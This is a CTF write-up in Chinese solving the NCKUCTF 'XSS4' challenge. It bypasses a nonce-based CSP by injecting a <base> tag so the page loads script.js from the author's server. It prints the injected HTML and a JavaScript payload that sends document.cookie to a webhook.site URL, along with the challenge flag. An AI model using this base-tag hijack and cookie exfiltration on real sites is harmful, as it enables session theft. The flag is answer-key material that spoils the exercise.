---
# System prepended metadata

title: XSS4 writeup (NCKUCTF)

---

# XSS4 writeup (NCKUCTF)

## 參考資料

### CTF連結

https://class.nckuctf.org/

### 題目連結

http://chall.nckuctf.org:8027/

### 簡報連結

https://docs.google.com/presentation/d/166JfhVLOHxDrawfmEsgB8uBbMbFewqpU-Yr6GMoLHOI/

## 前言

好久沒寫writeup但這不重要

要完成此題的會需要屬於自己的一台server而且必須要含有可以讓外網辨識的能力，像是domain、public ip、外網穿透工具等

我這裡用的是GCP，GCP有提供每個機器一個public ip

## 環境偵查

以下是網頁模樣

![image](https://hackmd.io/_uploads/Hk0emI2i0.png)

查看main.py，發現會將入輸入的內容寫入一個txt，並將其內容貼至note.html


**main.py**
```python=
@app.route("/note/<note_id>")
def view_note(note_id):
    if not os.path.exists(f"notes/{note_id}.txt"):
        return "Note not found", 404

    with open(f"notes/{note_id}.txt", "r") as f:
        note = f.read()
    return render_template(
        "note.html",
        note=note,
        mynonce=base64.b64encode(str(random.randint(100000, 999999)).encode()).decode(),
    )
```

**note.html**

```html=
{% autoescape false %}
{{ note }}
{% endautoescape %}
```

查看note.html之後發現有CSP，用的是nonce的方法

```html=
<meta
      http-equiv="Content-Security-Policy"
      content="script-src 'nonce-{{mynonce}}'"
    />
```

以下的內容擷取自簡報，nonce代表只會執行含有正確nonce標籤的`<script></script>`

![image](https://hackmd.io/_uploads/SJsyE83j0.png)

而從main.py可知，nonce標籤為一個隨機亂數，因此我們無法得知其數值
```python
mynonce=base64.b64encode(str(random.randint(100000, 999999)).encode()).decode(),
```

## 可能的注入點

note.html底下有一個`<script></script>`，去引用來自/static/資料夾裡的script.js

```html=
<script
      src="{{ url_for('static', filename='script.js') }}"
      nonce="{{mynonce}}"
      defer
    ></script>
```

而html裡面有一個元素`<base>`，可以用於設定整個網站的web base，類似於設定根目錄位置

```
<base href="https://bad.vincent55.tw/">
```

以下內容擷取自簡報，可以看到我們將web base改成`https://bad.vincent55.tw/`


![image](https://hackmd.io/_uploads/rJJs8L2iR.png)

我們這樣的動作等同於讓原本網站讀取的`https://example.com/script.js`替換成 `https://bad.vincent55.tw/script.js`

我們也能成功達成任意執行script的攻擊

## 攻擊思路

### 撰寫script

我在我的GCP上安裝了Apache，並且在網頁的的根目錄上創建了一個static資料夾，裡面放了一個script.js，為了滿足原始碼的條件

note.html會去引用/static/script.js

```html=
<script
      src="{{ url_for('static', filename='script.js') }}"
      nonce="{{mynonce}}"
      defer
    ></script>
```

我的`/static/script.js`內容如下，當js被載入時則執行`alert(1)`

```javascript=
window.onload = function() {
  alert(1)
};
```

### 測試是否能XSS

在網址輸入以下內容並submit

![image](https://hackmd.io/_uploads/BkoDTI3o0.png)

可以看到他成功讀取到我所撰寫的script，並執行`alert(1)`

![image](https://hackmd.io/_uploads/Hk866Ins0.png)



![image](https://hackmd.io/_uploads/HJDF6L3jR.png)



### 如何傳出資料

由於CSP的關係，fetch()會被擋下來，因此我們需要換個方法

![image](https://hackmd.io/_uploads/SJAwbPhsA.png)


我這裡的方法是用`<img src="www.example.com">`的src去訪問任意的網址

### 簡單測試一下

在網址輸入以下內容並submit


![image](https://hackmd.io/_uploads/BJVvt8niA.png)

我們成功在[webhook site](https://webhook.site/#!/)看到了該請求

![image](https://hackmd.io/_uploads/SyPoKLhiC.png)

## payload撰寫

我的想法是透過執行我們的js script，將`<img>`標籤裡面的src修改成webhook?doucment.cookie，而我們就可以得到此題的flag了

### 目標網站輸入

我填入了以下內容:
* 首先我會先創建一個id為`myImage`的`<img>`，方便後續讓script可以更改他的src
* 將web base設定成我們的網址
```
<img id="myImage" src="old_image.jpg">
<base href="http://34.67.247.255/">
```

![image](https://hackmd.io/_uploads/B1qfAIhiC.png)

### 自製script

以下程式碼的功能為將id`myImage`的`<img>`，src修改為`webhook.site?+document.cookie`，將cookie一併帶入網址，並再次對webhook.site發送請求

**/static/script.js**

```javascript=
window.onload = function() {
  document.getElementById("myImage").src = "https://webhook.site/2aa1a0b5-3476-4179-b56c-0f9555392f66?"+document.cookie;
};

```

### 測試

可以看到webhook.site成功收到請求

![image](https://hackmd.io/_uploads/rJYvJvni0.png)


## 最終結果

將該網址發送給admin，便能拿到flag


![image](https://hackmd.io/_uploads/Bk2VeD2j0.png)


**flag**
```
NCKUCTF{b453-url_w1ll_n07_f4llb4ck_70_d3f4ul7-5rc}
```

